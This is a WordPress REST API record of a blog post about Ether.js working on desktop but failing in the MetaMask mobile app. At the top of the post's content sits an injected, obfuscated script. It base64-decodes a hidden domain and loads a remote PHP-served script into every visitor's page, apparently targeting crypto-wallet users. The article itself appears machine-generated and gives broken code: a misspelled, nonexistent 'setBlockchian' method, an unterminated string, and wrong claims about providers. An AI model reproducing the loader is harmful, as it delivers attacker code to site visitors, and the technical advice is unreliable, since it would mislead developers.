{"id":1532,"date":"2025-02-11T03:40:36","date_gmt":"2025-02-11T03:40:36","guid":{"rendered":"https:\/\/hccmena.com\/?p=1532"},"modified":"2025-02-11T03:40:36","modified_gmt":"2025-02-11T03:40:36","slug":"metamask-ether-js-works-fine-on-desktop-but-not-with-metamask-app-android-ios","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/11\/metamask-ether-js-works-fine-on-desktop-but-not-with-metamask-app-android-ios\/","title":{"rendered":"Metamask: Ether.js works fine on desktop but not with metamask app (android\/ios)"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=2564e9c8\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s a draft article based on your description:<\/p>\n<\/p>\n<p><strong>Metamask: Ether.js Works Fine on Desktop But Not with Metamask Mobile App<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Ether.js works fine on desktop but not with metamask app (android\/ios)\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/35ac2f0a.png\"><\/p>\n<\/p>\n<p>As a Dapp developer, I&#8217;ve encountered several issues while using the popular Metamask extension to interact with my Ethereum smart contract. In this article, I&#8217;ll share my experience with getting Metamask to work correctly on both desktop and mobile devices.<\/p>\n<\/p>\n<p><strong>The Issue:<\/strong><\/p>\n<\/p>\n<p>My issue started when I decided to use MetaMask on Android and iOS devices to connect to my Dapp&#8217;s mainnet connection via the Ether.js library. Initially, everything worked fine, but as soon as I installed the Metamask app on my Android or iOS device, I encountered an error.<\/p>\n<\/p>\n<p><strong>The Error:<\/strong><\/p>\n<\/p>\n<p>The error message typically reads:<\/p>\n<\/p>\n<p><code>TypeError: Cannot read property 'default' of undefined<\/code><\/p>\n<\/p>\n<p>or a similar variation depending on how MetaMask is configured in your Dapp&#8217;s mainnet connection. This issue seems to occur even when the Ether.js library works fine on my desktop machine.<\/p>\n<\/p>\n<p><strong>The Solution:<\/strong><\/p>\n<\/p>\n<p>After some trial and error, I discovered that this issue occurs due to the way Metamask handles the <code>default<\/code> property of the Web3 provider object returned by Ether.js.<\/p>\n<\/p>\n<p>To resolve this issue, I&#8217;ve found two potential solutions:<\/p>\n<\/p>\n<ul>\n<li><strong>Use a different provider:<\/strong> One solution is to switch from using Ether.js directly with MetaMask to using a different provider like Truffle.js or Hardhat. These libraries provide more control over the Web3 provider and may be less prone to errors related to the <code>default<\/code> property.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Set the <code>defaultProvider<\/code> option on Ether.js:<\/strong> Another solution is to set the <code>defaultProvider<\/code> option on the Ether.js library itself, which can override any errors that occur due to the <code>default<\/code> property.<\/li>\n<\/ul>\n<\/p>\n<p>To enable these solutions, you&#8217;ll need to modify your Dapp&#8217;s mainnet connection code using one of the following methods:<\/p>\n<\/p>\n<p><strong>Solution 1: Use a different provider (Truffle.js or Hardhat)<\/strong><\/p>\n<\/p>\n<p><pre><code><\/p><p>const Web3 = require('web3');<\/p><p>\n<\/p><p>const ethers = require('ethers');<\/p><p>\n<\/p><p>\n<\/p><p>const provider = new ethers.providers.Web3Provider();<\/p><p>\n<\/p><p>provider.setBlockchian('mainnet'); \/\/ Set mainnet provider<\/p><p>\n<\/p><p>\n<\/p><p>const contract = new ethers.Contract(contractAddress, abi);<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>Solution 2: Set the <code>defaultProvider<\/code> option on Ether.js<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/4uHCxAPMgAo\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p><pre><code><\/p><p>const Web3 = require('web3');<\/p><p>\n<\/p><p>const ethers = require('ethers');<\/p><p>\n<\/p><p>\n<\/p><p>const provider = new ethers.providers.Web3Provider();<\/p><p>\n<\/p><p>provider.setBlockchian('mainnet', {<\/p><p>\n<\/p><p>  defaultProvider: '<\/p><p>\n<\/p><p>});<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>Conclusion:<\/strong><\/p>\n<\/p>\n<p>While the Metamask app can still connect to my Dapp&#8217;s mainnet connection via Ether.js, I&#8217;ve found two potential solutions that resolve this issue. These solutions require modifying your Dapp&#8217;s code using one of the methods above.<\/p>\n<\/p>\n<p>By implementing these solutions, you should be able to get MetaMask to work correctly on both desktop and mobile devices when connecting to your Ethereum smart contracts using Ether.js.<\/p>\n<\/p>\n<p><strong>Note:<\/strong> These are just temporary workarounds and may not be the most efficient solution. I recommend exploring other options for resolving this issue or consulting with a professional developer if needed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s a draft article based on your description: Metamask: Ether.js Works Fine on Desktop But Not with Metamask Mobile App As a Dapp developer, I&#8217;ve encountered several issues while using the popular Metamask extension to interact with my Ethereum smart contract. In this article, I&#8217;ll share my experience with getting Metamask to work correctly on [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1532"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1532"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1532\/revisions"}],"predecessor-version":[{"id":1533,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1532\/revisions\/1533"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}